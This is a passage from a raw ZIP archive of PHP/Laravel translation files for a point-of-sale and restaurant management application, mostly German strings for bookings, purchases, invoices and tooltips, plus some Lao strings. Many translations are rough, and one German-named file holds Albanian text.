Bestellungen', 'all_your_orders' => 'Alle Ihre Bestellungen', 'mark_as_served' => 'Als bedient markieren', 'placed_at' => 'Platziert bei', 'order_status' => 'Bestellstatus', 'order_details' => 'Bestelldetails', 'refresh' => 'Aktualisierung', 'no_orders_found' => 'Keine Bestellungen gefunden', 'select_service_staff' => 'Servicepersonal auswählen', 'service_staff' => 'Service Personal', 'kitchen_for_restaurant' => 'Küche (für Restaurants)', 'products_for_modifier' => 'Produkte für Modifikatoren', 'is_service_staff' => 'Ist Servicepersonal', 'tooltip_tables' => 'Hauptsächlich in Restaurants, Bars, Salons usw. verwendet', 'tooltip_modifiers' => 'Zusätzliche Artikel hinzugefügt mit dem Hauptprodukt <br> Beispiel: Toppings, Cheese', 'tooltip_service_staff' => 'Person, die den benannten Service für Kunden anbietet - Beispiel: Wartende Mitarbeiter in Restaurants, Friseure im Salon', 'modules_settings' => 'Moduleinstellungen', 'bookings' => 'Buchungen', 'add_edit_view_all_booking' => 'Hinzufügen / Bearbeiten / Alle Buchungen anzeigen', 'add_edit_view_own_booking' => 'Eigene Buchungen hinzufügen / bearbeiten / anzeigen', 'add_booking' => 'Neue Buchung hinzufügen', 'start_time' => 'Startzeit', 'end_time' => 'Endzeit', 'booking_not_available' => 'Tabelle bereits gebucht für <b>:customer_name</b> zwischen <b>:booking_time_range</b>', 'select_correspondent' => 'Korrespondent auswählen', 'send_notification_to_customer' => 'E-Mail / SMS-Benachrichtigung an Kunden senden', 'booking_details' => 'Buchungsdetails', 'correspondent' => 'Korrespondent', 'booking_starts' => 'Buchung beginnt', 'booking_ends' => 'Buchung endet', 'cancelled' => 'Abgebrochen', 'completed' => 'Abgeschlossen', 'change_booking_status' => 'Buchungsstatus ändern', 'booked' => 'Gebucht', 'delete_booking' => 'Buchung löschen', 'click_on_any_booking_to_view_or_change_status' => 'Klicken Sie auf eine Buchung, um Details anzuzeigen oder den Status zu ändern', 'double_click_on_any_day_to_add_new_booking' => 'Doppelklicken Sie auf einen beliebigen Tag, um eine neue Buchung hinzuzufügen', 'todays_bookings' => 'Heutige Buchungen', 'hello_name' => 'Hallo:name!', 'booking_confirmed' => 'Ihre Buchung wurde bestätigt.', 'table_info' => 'Tabelle::table', 'booking_time_info' => 'Von: :from TO: :to', 'new_booking_subject' => 'Neue Buchung -:business_name', 'customer_note' => 'Kundenmitteilung', 'table_report' => 'Tabellenbericht', 'service_staff_report' => 'Service-Mitarbeiterbericht', 'service_staff_replacement' => 'Austausch des Servicepersonals', ]; PK G �Z��z z de/purchase.phpnu �[��� <?php return [ 'supplier' => 'Lieferant', 'ref_no' => 'Referenznummer', 'business_location' => 'Geschäftsstandort', 'purchases' => 'Einkäufe', 'add_payment' => 'Zahlung hinzufügen', 'edit_payment' => 'Zahlung bearbeiten', 'view_payments' => 'Zahlungen anzeigen', 'amount_already_paid' => 'Bereits bezahlter Betrag', 'payment_added_success' => 'Zahlung erfolgreich hinzugefügt', 'payment_updated_success' => 'Zahlung erfolgreich aktualisiert', 'payment_deleted_success' => 'Zahlung erfolgreich gelöscht', 'amount' => 'Menge', 'payment_method' => 'Bezahlverfahren', 'no_records_found' => 'Keine Aufzeichnungen gefunden', 'payment_due' => 'Zahlung fällig', 'purchase_total' => 'Kaufsumme', 'location' => 'Ort', 'payment_note' => 'Zahlungsnote', 'all_purchases' => 'Alle Einkäufe', 'purchase_status' => 'Kaufstatus', 'payment_status' => 'Zahlungsstatus', 'grand_total' => 'Gesamtsumme', 'add_purchase' => 'Kauf hinzufügen', 'purchase_date' => 'Kaufdatum', 'purchase_quantity' => 'Kaufmenge', 'unit_cost_before_tax' => 'Stückkosten (vor Steuern)', 'subtotal_before_tax' => 'Zwischensumme (vor Steuern)', 'product_tax' => 'Produktsteuer', 'net_cost' => 'Nettokosten', 'line_total' => 'Zeilensumme', 'unit_selling_price' => 'Verkaufseinheitspreis', 'total_before_tax' => 'Gesamt vor Steuern', 'net_total_amount' => 'Netto Gesamtbetrag', 'discount_type' => 'Rabattart', 'discount_amount' => 'Rabattbetrag', 'discount' => 'Rabatt', 'edit_purchase' => 'Einkauf bearbeiten', 'purchase_tax' => 'Kaufsteuer', 'shipping_details' => 'Versanddetails', 'additional_shipping_charges' => 'Zusätzliche Versandkosten', 'additional_notes' => 'Zusätzliche Bemerkungen', 'purchase_add_success' => 'Einkauf erfolgreich hinzugefügt', 'purchase_update_success' => 'Kauf wurde erfolgreich aktualisiert', 'purchase_details' => 'Einzelheiten zum Kauf', 'unit_cost_after_tax' => 'Stückkostenpreis (nach Steuern)', 'total_after_tax' => 'Summe nach Steuern', 'no_payments' => 'Keine Zahlungen gefunden', 'allow_purchase_different_currency' => 'Käufe in anderer Währung', 'purchase_currency' => 'Kaufwährung', 'p_exchange_rate' => 'Wechselkurs', 'diff_purchase_currency_help' => 'Kaufwährung ist auf <strong> :currency </strong> eingestellt', 'list_purchase' => 'Listenkäufe', 'attach_document' => 'Dokument anhängen', 'download_document' => 'Dokument herunterladen', 'max_file_size' => 'Max Dateigröße: :sizeMB', ]; PK G �Z�� de/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Registrieren und starten Sie in wenigen Minuten', 'business_name' => 'Geschäftsname', 'start_date' => 'Anfangsdatum', 'currency' => 'Währung', 'currency_placeholder' => 'Währung wählen', 'upload_logo' => 'Logo hochladen', 'country' => 'Land', 'state' => 'Zustand', 'city' => 'Stadt', 'zip_code' => 'Postleitzahl', 'zip_code_placeholder' => 'Postleitzahl', 'landmark' => 'Wahrzeichen', 'tax_1_name' => 'Steuer 1 Name', 'tax_1_no' => 'Steuer 1 Nein.', 'tax_2_name' => 'Steuer 2 Name', 'tax_2_no' => 'Steuer 2 Nein.', 'tax_1_placeholder' => 'GST / Mehrwertsteuer / Sonstige', 'prefix' => 'Präfix', 'prefix_placeholder' => 'Herr, Frau, Fräulein', 'first_name' => 'Vorname', 'last_name' => 'Familienname, Nachname', 'username' => 'Nutzername', 'email' => 'Email', 'password' => 'Passwort', 'confirm_password' => 'Bestätige das Passwort', 'register' => 'Registrieren', 'business' => 'Geschäft', 'address' => 'Adresse', 'logo_help' => 'Vorheriges Logo (falls vorhanden) wird ersetzt', 'update_settings' => 'Update Einstellungen', 'business_settings' => 'Geschäftseinstellungen', 'settings_updated_success' => 'Einstellungen erfolgreich aktualisiert', 'default_profit_percent' => 'Default Gewinnprozent', 'default_sales_tax' => 'Standardverkaufssteuer', 'default_sales_discount' => 'Standard Sale Rabatt', 'business_details' => 'Geschäftsdetails', 'tax' => 'MwSt', 'tax_details' => 'Steuerdetails', 'owner' => 'Inhaber', 'owner_info' => 'Besitzerinformation', 'sale' => 'Verkauf', 'sell_price_tax' => 'Verkaufspreis', 'product' => 'Produkt', 'sku_prefix' => 'SKU-Präfix', 'language' => 'Sprache', 'time_zone' => 'Zeitzone', 'months' => [ 1 => 'Januar', 2 => 'Februar', 3 => 'März', 4 => 'April', 5 => 'Mai', 6 => 'Juni', 7 => 'Juli', 8 => 'August', 9 => 'September', 10 => 'Oktober', 11 => 'November', 12 => 'Dezember', ], 'fy_start_month' => 'Geschäftsjahr Startmonat', 'accounting_method' => 'Buchhaltungsmethode', 'fifo' => 'FIFO (Erstes Hineingehen)', 'lifo' => 'LIFO (Letztes Hineingehen)', 'business_locations' => 'Geschäftsstandorte', 'business_location' => 'Geschäftsstandort', 'manage_your_business_locations' => 'Verwalten Sie Ihre Geschäftsstandorte', 'all_your_business_locations' => 'Alle Ihre Geschäftsstandorte', 'add_business_location' => 'Neuen Geschäftsstandort hinzufügen', 'business_location_added_success' => 'Geschäftsstandort wurde erfolgreich hinzugefügt', 'edit_business_location' => 'Geschäftsstandort bearbeiten', 'business_location_updated_success' => 'Unternehmensstandort wurde erfolgreich aktualisiert', 'location' => 'Ort', 'already_registered' => 'Bereits registriert?', 'sign_in' => 'Anmelden', 'not_yet_registered' => 'Noch nicht registriert?', 'register_now' => 'Jetzt registrieren', 'system' => 'System', 'show_help_text' => 'Hilfetext anzeigen', 'mobile' => 'Handy, Mobiltelefon', 'alternate_number' => 'Alternative Kontaktnummer', 'email' => 'Email', 'settings' => 'Die Einstellungen', 'transaction_edit_days' => 'Transaktionsbearbeitungstage', 'dashboard' => 'Instrumententafel', 'view_stock_expiry_alert_for' => 'Lagerbestands-Verfallswarnung anzeigen für', 'days' => 'Tage', 'system_settings' => 'Systemeinstellungen', 'add_keyboard_shortcuts' => 'Hinzufügen von Tastaturkürzeln', 'operations' => 'Operationen', 'keyboard_shortcut' => 'Tastaturkürzel', 'business_created_succesfully' => 'Geschäft erfolgreich erstellt !!', 'tax_number1' => 'Steuernummer 1', 'tax_number2' => 'Steuernummer 2', 'is_active' => 'Aktiv', 'created_by' => 'Erstellt von', ]; PK G �Z��{�c c de/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Kasse', 'manage_your_cash_register' => 'Kassenregister verwalten', 'all_your_cash_register' => 'Alle Kassen', 'cash_in_hand' => 'Bar auf die Hand', 'open_cash_register' => 'Offene Kasse', 'enter_amount' => 'Menge eingeben', 'open_register' => 'Offenes Register', 'register_details' => 'Registerdetails', 'cash_payment' => 'Barzahlung', 'checque_payment' => 'Zahlung prüfen', 'card_payment' => 'Kartenzahlung', 'bank_transfer' => 'Banküberweisung', 'other_payments' => 'Andere Zahlungen', 'total_sales' => 'Gesamtumsatz', 'total_cash' => 'Totalsumme', 'current_register' => 'Aktuelles Register', 'close_register' => 'Schließen Registrieren', 'total_card_slips' => 'Gesamtzahl der Kartenauszüge', 'total_cheques' => 'Gesamtprüfungen', 'closing_note' => 'Schlussnotiz', 'close_success' => 'Registrierung erfolgreich abgeschlossen', 'open' => 'Öffnen', 'close' => 'Schließen', 'total_refund' => 'Total Rückerstattung', 'refunds' => 'Rückerstattungen', ]; PK G �Z�Od�� � de/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Produkte mit geringem Lagerbestand. <br/> <small class = 'text-muted'> Basierend auf der Produktalarmmenge, die im Bildschirm Produkt hinzufügen festgelegt wurde. <br> Kaufen Sie diese Produkte, bevor der Lagerbestand endet. </small>", 'payment_dues' => "Ausstehende Zahlung für Einkäufe. <br/> <small class = 'text-muted'> Basierend auf der Zahlungsbedingung des Lieferanten. <br/> Anzeigen von Zahlungen, die innerhalb von 7 Tagen oder weniger bezahlt werden. </small>", 'input_tax' => 'Gesamtsteuer für Verkäufe innerhalb des ausgewählten Zeitraums gesammelt.', 'output_tax' => 'Gesamtsteuer für Käufe für den ausgewählten Zeitraum.', 'tax_overall' => 'Differenz zwischen der gesamten Steuereinnahme und der Gesamtsteuerzahlung innerhalb des ausgewählten Zeitraums.', 'purchase_due' => 'Total unbezahlter Betrag für Einkäufe.', 'sell_due' => 'Vom Verkauf zu erhaltender Gesamtbetrag', 'over_all_sell_purchase' => '-ve value = Zu zahlender Betrag <br> + ve Wert = Zu erhaltender Betrag', 'no_of_products_for_trending_products' => 'Anzahl der Top-Trending-Produkte, die in der folgenden Tabelle verglichen werden.', 'top_trending_products' => "Meistverkaufte Produkte Ihres Shops. <br/> <small class = 'text-muted'> Filter anwenden, um Trendprodukte für bestimmte Kategorien, Marken, Geschäftslokationen usw. zu kennen. </small>", 'sku' => "Eindeutige Produkt-ID oder Stock Keeping Unit <br> <br> Halte es frei, um automatisch sku zu generieren. <br> <small class = 'text-muted'> Sie können das SKU-Präfix in den Business-Einstellungen ändern . </small> ", 'enable_stock' => 'Aktivieren oder deaktivieren Sie die Bestandsverwaltung für ein Produkt.', 'alert_quantity' => "Werden Sie gewarnt, wenn der Produktbestand die angegebene Menge erreicht oder unterschreitet. <br> <br> <small class = 'text-muted'> Produkte mit geringem Bestand werden im Dashboard - Produktbestands-Warnmeldung angezeigt. </small>", 'product_type' => '<b> Einzelprodukt </ b>: Produkt ohne Variationen. <br> <b> Variables Produkt </ b>: Produkt mit Variationen wie Größe, Farbe usw.', 'profit_percent' => "Standard-Gewinnmarge für das Produkt. <br> <small class = 'text-muted'> (<i> Sie können die Standard-Gewinnspanne in den Business-Einstellungen verwalten. </ I>) </small>", 'pay_term' => "Zahlungen für Käufe innerhalb des angegebenen Zeitraums. <br/> <small class = 'text-muted'> Alle anstehenden oder fälligen Zahlungen werden im Dashboard angezeigt - Abschnitt Zahlungspflichtig </small>", 'order_status' => 'Produkte in diesem Kauf werden nur dann zum Verkauf angeboten, wenn der <b> Bestellstatus </ b> <b> empfangen ist </ b>.', 'purchase_location' => 'Geschäftsstandort, an dem das gekaufte Produkt zum Verkauf angeboten wird.', 'sale_location' => 'Geschäftsstandort von wo aus Sie verkaufen möchten', 'sale_discount' => "Setzen Sie 'Default Sale Discount' für alle Verkäufe in den Business-Einstellungen. Klicken Sie auf das Bearbeitungssymbol unten, um den Rabatt hinzuzufügen / zu aktualisieren.", 'sale_tax' => 'Legen Sie die Standardverkaufssteuer für alle Verkäufe in den Geschäftseinstellungen fest. Klicken Sie auf das Bearbeitungssymbol, um die Umsatzsteuer hinzuzufügen / zu aktualisieren.', 'default_profit_percent' => "Standard-Gewinnspanne eines Produkts. <br> <small class = 'text-muted'> Wird verwendet, um den Verkaufspreis basierend auf dem eingegebenen Einkaufspreis zu berechnen. <br/> Sie können diesen Wert für einzelne Produkte ändern, indem Sie </small> hinzufügen ", 'fy_start_month' => 'Startmonat des Geschäftsjahres für Ihr Unternehmen', 'business_tax' => 'Registrierte Steuernummer für Ihr Unternehmen.', 'invoice_scheme' => "Rechnungsschema bezeichnet das Format der Rechnungsnummerierung. Wählen Sie das für diesen Unternehmensstandort zu verwendende Schema aus. <small class = 'text-muted'> <i> Sie können ein neues Rechnungsschema </ b> in den Rechnungseinstellungen hinzufügen </ i > </small> ", 'invoice_layout' => "Rechnungslayout für diesen Unternehmensstandort verwenden <br> <small class = 'text-muted'> (<i> Sie können ein neues <b> Rechnungslayout </ b> in <b> Rechnungseinstellungen <b> </ i>) </small> ", 'invoice_scheme_name' => 'Geben Sie dem Rechnungsschema einen aussagekräftigen Namen.', 'invoice_scheme_prefix' => 'Präfix für ein Rechnungsschema. <br> Ein Präfix kann ein benutzerdefinierter Text oder ein aktuelles Jahr sein. Beispiel: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Startnummer für die Rechnungsnummerierung. <br> <small class = 'text-muted'> Sie können 1 oder jede andere Nummer eingeben, ab der die Nummerierung beginnt. </small>", 'invoice_scheme_count' => 'Gesamtzahl der für das Rechnungsschema generierten Rechnungen', 'invoice_scheme_total_digits' => 'Länge der Rechnungsnummer ohne Rechnungspräfix', 'tax_groups' => 'Gruppensteuersätze - oben definiert, die in Kombination in Kauf / Verkauf-Abschnitten verwendet werden.', 'unit_allow_decimal' => 'Decimals ermöglicht es Ihnen, die verwandten Produkte in Bruchteilen zu verkaufen.', 'print_label' => 'Produkte hinzufügen -> Informationen auswählen, die in Etiketten angezeigt werden sollen -> Barcode-Einstellung auswählen -> Etikettenvorschau -> Drucken', 'expense_for' => 'Wählen Sie den Benutzer, auf den sich die Ausgaben beziehen. <I> (Optional) </ i> <br/> <small> Beispiel: Gehalt eines Mitarbeiters. </small>', 'all_location_permission' => 'Wenn <b> Alle Standorte </ b> ausgewählt ist, hat diese Rolle die Berechtigung, auf alle Unternehmensstandorte zuzugreifen', 'dashboard_permission' => 'Wenn diese Option deaktiviert ist, wird nur die Willkommensnachricht in Home angezeigt.', 'access_locations_permission' => 'Wählen Sie alle Orte aus, auf die diese Rolle zugreifen kann. Alle Daten für den ausgewählten Ort werden nur dem Benutzer angezeigt. <br/> <br/> <small> Beispiel: Sie können damit <i> Store Manager / Kassierer definieren / Lagerleiter / Filialleiter, </ i> eines bestimmten Standorts. </small> ', 'print_receipt_on_invoice' => 'Automatisches Drucken der Rechnung beim Finalisieren aktivieren oder deaktivieren', 'receipt_printer_type' => '<i> Browserbasiertes Drucken </ i>: Druckdialogfeld im Browser mit Vorschau der Rechnung anzeigen <br/> <br/> <i> Konfigurierten Belegdrucker verwenden </ i>: Wählen Sie einen konfigurierten Beleg / Thermodrucker für Drucken', 'adjustment_type' => '<i> Normal </ i>: Anpassung für normale Gründe wie Leckage, Schaden usw. <br/> <br/> <i> Abnormal </ i>: Anpassung aus Gründen wie Feuer, Unfall etc.', 'total_amount_recovered' => 'Betrag, der von der Versicherung oder dem Verkauf von Schrott oder von anderen zurückgewonnen wird', 'express_checkout' => 'Markiere komplette Barzahlung und checke', 'total_card_slips' => 'Gesamtzahl der in diesem Register verwendeten Kartenzahlungen', 'total_cheques' => 'Gesamtzahl der in diesem Register verwendeten Schecks', 'capability_profile' => "Die Unterstützung für Befehle und Codepages variiert zwischen Druckeranbietern und Modellen. Wenn Sie sich nicht sicher sind, ist es eine gute Idee, das 'einfache' Fähigkeitsprofil zu verwenden.", 'purchase_different_currency' => 'Wählen Sie diese Option, wenn Sie in einer anderen Währung als Ihrer Geschäftswährung kaufen', 'currency_exchange_factor' => "1 Kaufwährung = ? Basiswährung <br> <small class='text-muted'> Sie können 'Kauf in anderer Währung' in den Geschäftseinstellungen aktivieren / deaktivieren. </small>", 'accounting_method' => 'Buchhaltungsmethode', 'transaction_edit_days' => 'Anzahl der Tage ab Transaktionsdatum, bis zu der eine Transaktion bearbeitet werden kann.', 'stock_expiry_alert' => "Liste der Aktien, die ablaufen in :days Tage <br> <small class='text-muted'> Sie können die Anzahl der Tage in den Business-Einstellungen festlegen </small>", ]; PK G �Z��;�f f de/role.phpnu �[��� <?php return [ 'add_role' => 'Shto rol', 'edit_role' => 'Ndrysho rolin', 'user' => 'User', 'supplier' => 'Furnizues', 'customer' => 'Customer', 'purchase' => 'Rregullimi i Blerjes dhe i Stoqit', 'report' => 'Raporti', 'user.view' => 'Shikoni përdoruesin', 'user.create' => 'Shto përdorues', 'user.update' => 'Ndrysho përdorues', 'user.delete' => 'Fshi përdoruesin', 'supplier.view' => 'Shikoni furnizuesin', 'supplier.create' => 'Shto furnizues', 'supplier.update' => 'Edit furnizuesi', 'supplier.delete' => 'Fshi furnizuesin', 'customer.view' => 'Shiko klientin', 'customer.create' => 'Shto klient', 'customer.update' => 'Redakto klient', 'customer.delete' => 'Fshi klientin', 'product.view' => 'Shikoni produktin', 'product.create' => 'Shto produkt', 'product.update' => 'Edit produkt', 'product.delete' => 'Fshi produktin', 'purchase.view' => 'Shikoni blerjen dhe përshtatjen e stoqeve', 'purchase.create' => 'Shto rregullimin e blerjeve dhe aksioneve', 'purchase.update' => 'Ndrysho blerjen dhe rregullimin e stoqeve', 'purchase.delete' => 'Fshi blerjen dhe rregullimin e stoqeve', 'sell.view' => 'Shikoni POS shitni', 'sell.create' => 'Shto shitur POS', 'sell.update' => 'Edit POS shes', 'sell.delete' => 'Fshi shitjen e POS-ve', 'purchase_n_sell_report.view' => 'Shiko raportin e blerjes dhe shitjes', 'contacts_report.view' => 'Shikoni raportin e Furnizuesit dhe Klientit', 'stock_report.view' => 'Shikoni raportin e aksioneve, raportin e rregullimit të stoqeve dhe raportin e skadimit të aksioneve', 'tax_report.view' => 'Shiko raportin e taksave', 'trending_product_report.view' => 'Shikoni raportin e produktit në trend', 'register_report.view' => 'Shiko raportin e regjistrimit', 'sales_representative.view' => 'Shikoni raportin e përfaqësimit të shitjeve', 'expense_report.view' => 'Shikoni raportin e shpenzimeve', 'business_settings.access' => 'Cakto cilësimet e biznesit', 'barcode_settings.access' => 'Cilësimet e kodit të hyrjes', 'invoice_settings.access' => 'Vendosja e faturave të hyrjes', 'brand.view' => 'Shikoni markën', 'brand.create' => 'Shto markë', 'brand.update' => 'Ndrysho markën', 'brand.delete' => 'Fshije markën', 'tax_rate.view' => 'Shikoni normën e tatimit', 'tax_rate.create' => 'Shto shkallë tatimore', 'tax_rate.update' => 'Redakto shkallën e taksave', 'tax_rate.delete' => 'Fshi shkallën e taksave', 'unit.view' => 'Shikoni njësinë', 'unit.create' => 'Shto njësi', 'unit.update' => 'Modifiko njësinë', 'unit.delete' => 'Fshi njësinë', 'category.view' => 'Shiko kategorinë', 'category.create' => 'Shto kategori', 'category.update' => 'Modifiko kategorinë', 'category.delete' => 'Fshi kategorinë', 'select_all' => 'Selektoj të gjitha', 'settings' => 'Settings', 'brand' => 'Brand', 'tax_rate' => 'Norma e tatimit', 'unit' => 'Unit', 'access_locations' => 'Vendet e hyrjes', 'all_locations' => 'Të gjitha vendndodhjet', 'dashboard' => 'Home', 'dashboard.data' => 'Shikoni të dhënat e Shtëpisë', 'profit_loss_report.view' => 'Shikoni raportin e fitimit / humbjes', 'direct_sell.access' => 'Qasja shitet', ]; PK G �Zb0��| | de/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Steuer nicht inbegriffen', 'inc_of_tax' => 'Steuern eingeschlossen', 'profit_percent' => 'x Rand (%)', 'add_new_product' => 'Neues Produkt hinzufügen', 'add_product_for_labels' => 'Hinzufügen von Produkten zum Generieren von Labels', 'product_type' => 'Produktart', 'category' => 'Kategorie', 'sub_category' => 'Unterkategorie', 'unit' => 'Einheit', 'brand' => 'Marke', 'tax' => 'MwSt', 'sku' => 'SKU', 'alert_quantity' => 'Alarmmenge', 'product_name' => 'Produktname', 'auto_generate' => 'Automatisch generieren', 'manage_stock' => 'Lagerbestand verwalten?', 'enable_stock_help' => 'Lagerverwaltung auf Produktebene aktivieren', 'barcode_type' => 'Barcode-Typ', 'applicable_tax' => 'Anwendbare Steuer', 'selling_price_tax_type' => 'Verkaufspreissteuerart', 'inclusive' => 'Inklusive', 'exclusive' => 'Exklusiv', 'edit_product' => 'Produkt bearbeiten', 'default_purchase_price' => 'Standardkaufpreis', 'default_selling_price' => 'Standardverkaufspreis', 'value' => 'Wert', 'variation_name' => 'Variationsname', 'variation_values' => 'Variationswerte', 'use_template' => 'Benutze Template', 'add_variation' => 'Variation hinzufügen', 'product_added_success' => 'Produkt erfolgreich hinzugefügt', 'product_updated_success' => 'Produkt wurde erfolgreich aktualisiert', 'enable_product_expiry' => 'Produktablauf aktivieren', 'expiry_period' => 'Ablaufzeitraum', 'expires_in' => 'Läuft ab in', 'not_applicable' => 'Unzutreffend', 'months' => 'Monate', 'days' => 'Tage', 'mfg_date' => 'Herstellungsdatum', 'exp_date' => 'Verfallsdatum', 'view_product' => 'Produkt anzeigen', 'add_product' => 'Produkt hinzufügen', 'variations' => 'Variationen', 'import_products' => 'Produkte importieren', 'file_to_import' => 'Zu importierende Datei', 'file_imported_successfully' => 'Datei erfolgreich importiert', 'variation_sku_format' => 'Variations-SKU-Format', 'variation_sku_format_help_text' => 'Variations-SKU-Format - Wenn die Variation-SKU leer ist, wird dieses Format verwendet, um SKU für Variationen zu generieren.', 'sku_number' => 'SKU-Nummer (Beispiel -> ABC-1, ABC-2)', 'sku_variation_number' => 'SKUVariations (Beispiel -> ABCS, ABCM)' ]; PK G �ZL�H? ? de/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Rechnungseinstellungen', 'manage_your_invoices' => 'Verwalten Sie Ihre Rechnungseinstellungen', 'all_your_invoice_schemes' => 'Alle Ihre Rechnungsschemata', 'added_success' => 'Rechnungseinstellung erfolgreich hinzugefügt', 'updated_success' => 'Rechnungseinstellung erfolgreich aktualisiert', 'deleted_success' => 'Rechnungseinstellung erfolgreich gelöscht', 'add_invoice' => 'Neues Rechnungsschema hinzufügen', 'edit_invoice' => 'Rechnungsschema bearbeiten', 'name' => 'Name', 'prefix' => 'Präfix', 'start_number' => 'Beginne am', 'total_digits' => 'Anzahl an Ziffern', 'preview' => 'Vorschau', 'not_selected' => 'Nicht ausgewählt', 'invoice_count' => 'Rechnungsanzahl', 'invoice_schemes' => 'Rechnungspläne', 'invoice_layouts' => 'Rechnungslayouts', 'invoice_layout' => 'Rechnungslayout', 'all_your_invoice_layouts' => 'Alle Ihre Rechnungslayouts', 'add_invoice_layout' => 'Neues Rechnungslayout hinzufügen', 'layout_name' => 'Layoutname', 'invoice_scheme' => 'Rechnungsschema', 'header_text' => 'Überschrift', 'invoice_no_prefix' => 'Rechnung Nr. Label', 'invoice_heading' => 'Rechnungsüberschrift', 'sub_total_label' => 'Zwischensumme Label', 'discount_label' => 'Rabattmarke', 'tax_label' => 'Steuerzeichen', 'total_label' => 'Gesamtlabel', 'fields_to_be_shown_in_address' => 'Felder, die in der Standortadresse angezeigt werden sollen', 'highlight_color' => 'Hervorhebungsfarbe', 'footer_text' => 'Fusszeile', 'layout_added_success' => 'Rechnungslayout erfolgreich hinzugefügt', 'edit_invoice_layout' => 'Rechnungslayout bearbeiten', 'layout_updated_success' => 'Rechnungslayout erfolgreich aktualisiert', 'used_in_locations' => 'Verwendet in Standorten', 'show_business_name' => 'Firmenname anzeigen', 'show_location_name' => 'Standortname anzeigen', 'show_mobile_number' => 'Handynummer', 'show_alternate_number' => 'Alternative Nummer', 'show_email' => 'Email', 'show_tax_1' => 'Steuer 1 Details', 'show_tax_2' => 'Steuer 2 Details', 'fields_to_shown_for_communication' => 'Felder für Kommunikationsdetails', 'fields_to_shown_for_tax' => 'Felder für Steuerdetails', 'invoice_logo' => 'Rechnungslogo', 'show_logo' => 'Rechnungslogo anzeigen', 'show_barcode' => 'Barcode zeigen', 'total_due_label' => 'Insgesamt fälliges Etikett', 'invoice_heading_not_paid' => 'Überschrift Suffix für nicht bezahlt', 'invoice_heading_paid' => 'Überschrift Suffix für bezahlt', 'show_payments' => 'Zahlungsinformationen anzeigen', 'show_customer' => 'Kundeninformationen anzeigen', 'paid_label' => 'Bezahltes Label', 'customer_label' => 'Kundenlabel', ]; PK G �Z���� � lo/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'ຄ່າໃຊ່ຈ່າຍ', 'expense_categories' => 'ໜວດຄ່າໃຊ້ຈ່າຍ', 'manage_your_expense_categories' => 'ຈັດການໝວດຄ່າໃຊ້ຈ່າຍ', 'all_your_expense_categories' => 'ໜວດຄ່າໃຊ້ຈ່າຍທັງໝົດ', 'expense_category' => 'ໜວດຄ່າໃຊ້ຈ່າຍ', 'category_name' => 'ຊື່ ໝວດ', 'category_code' => 'ລະຫັດ ໝວດ', 'added_success' => 'ເພີ່ມໝວດຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍ', 'updated_success' => 'ປັບປຸງໝວດຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍ', 'deleted_success' => 'ລົບໝວດຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍ', 'add_expense_category' => 'ເພີ່ມໝວດຄ່າໃຊ້ຈ່າຍ', 'edit_expense_category' => 'ແກ້ໄຂໝວດຄ່າໃຊ້ຈ່າຍ', 'all_expenses' => 'ຄ່າໃຊ້ຈ່າຍທັງໝົດ', 'expense_status' => 'ສະຖານະຄ່າໃຊ້ຈ່າຍ', 'add_expense' => 'ເພີ່ມຄ່າໃຊ້ຈ່າຍ', 'edit_expense' => 'ແກ້ໄຂຄ່າໃຊ້ຈ່າຍ', 'expense_note' => 'ບັນທຶກ່າໃຊ້ຈ່າຍ', 'expense_add_success' => 'ພີ່ມຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍແລ້ວ', 'expense_update_success' => 'ປັບປຸງຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍ', 'expense_delete_success' => 'ລົບຄ່າໃຊ້ຈ່າຍຮຽບຮ້ອຍ', 'expense_for' => 'ຄ່າໃຊ້ຈ່າຍສຳຫຼັບ', ]; PK G �Z4xp�- - lo/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'ເພີ່ມ', 'edit' => 'ແກ້ໄຂ', 'save' => 'ບັນທຶກ', 'update' => 'ປັບປຸງ', 'action' => 'ການປະຕິບັດ', 'actions' => 'ການປະຕິບັດ', 'view' => 'ເບິ່ງ', 'delete' => 'ລຶບ', 'close' => 'ປິດ', 'something_went_wrong' => 'ມີບາງຢ່າງຜິດພາດ, ກະລຸນາລອງໃໝ່ອີກຄັ້ງ', 'required' => 'ຟິວນີ້ຈຳເປັນຕ້ອງໃສ່', 'please_select' => 'ກະລຸນາເລືອກ', 'cancel' => 'ຍົກເລີກ', 'date' => 'ວັນທີ', 'filter_by_date' => 'ເບິ່ງຕາມວັນທີ', 'location' => 'ສະຖານທີ່', 'go_back' => 'ກັບຄືນ', 'due_tooltip' => '-ve ມູນຄ່າ =ຈຳນວນທີ່ຕ້ອງຊໍາລະ <br> +ve ມູນຄ່າ = ຈຳນວນທີ່ໄດ້ຮັບ', 'purchase_due_tooltip' => '-ve ມູນຄ່າ = ຈຳນວນທີ່ໄດ້ຮັບ <br> +ve ມູນຄ່າ = ຈຳນວນທີ່ຕ້ອງຊໍາລະ', 'yes' => 'ຕົກລົງ', 'no' => 'ບໍ່', 'all' => 'ທັງໝົດ', 'settings' => 'ຕັ້ງຄ່າ', 'business_location_settings' => 'ຕັ້ງຄ່າທີ່ຕັ້ງທຸລະກິດ', 'print' => 'ພິມ', 'submit' => 'ຕົກລົງ', 'purchase_sell_mismatch_exception' => 'ຜິດພາດ: ບໍ່ອະນຸຍາດ: ປະລິມານການຂາຍແລະຊື້ບໍ່ກົງກັນ. ສິນຄ້າ: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ຜິດພາດ: ບໍ່ອະນຸຍາດ: ການປັບສະຕັອກອອກ ແລະ ປະລິມານການຊື້ບໍ່ກັງກັນ. ສິນຄ້າ: :product', 'transaction_edit_not_allowed' => 'ບໍ່ອະນຸຍາດໃຫ້ແກ້ໄຂການເຮັດທຸລະກຳຫຼັງຈາກ :days ມື້.', 'name' => 'ຊື່', 'price' => 